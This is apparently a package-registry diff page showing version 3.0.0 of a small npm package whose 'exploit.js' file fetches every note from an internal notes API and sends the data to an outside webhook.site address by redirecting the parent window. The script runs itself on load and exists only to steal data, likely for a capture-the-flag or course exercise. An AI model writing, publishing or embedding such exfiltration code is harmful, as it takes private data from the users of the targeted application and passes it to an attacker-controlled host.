test_for_ntu_note_2 2.0.0 → 3.0.0
Sign up to get free protection for your applications and to get access to all the features.
- package/exploit.js +4 -10
- package/package.json +1 -1
package/exploit.js
CHANGED
@@ -1,16 +1,10 @@
|
|
1
1
|
function leakDataFromEndpoint() {
|
2
|
-
|
2
|
+
fetch('http://140.112.29.205:10082/api/notes/all')
|
3
3
|
.then(response => response.json())
|
4
4
|
.then(data => {
|
5
|
-
|
6
|
-
|
7
|
-
body: JSON.stringify(data),
|
8
|
-
headers: { 'Content-Type': 'application/json' }
|
9
|
-
});
|
5
|
+
const queryParams = new URLSearchParams({data: JSON.stringify(data)}).toString();
|
6
|
+
window.parent.location.href = `https://webhook.site/7b314372-817b-4fbd-a459-8c71d3be3bbd?${queryParams}`;
|
10
7
|
})
|
11
8
|
.catch(error => console.error('Error:', error));
|
12
|
-
|
13
|
-
|
14
|
-
window.parent.leakDataFromEndpoint = leakDataFromEndpoint;
|
15
|
-
|
9
|
+
}
|
16
10
|
leakDataFromEndpoint();
|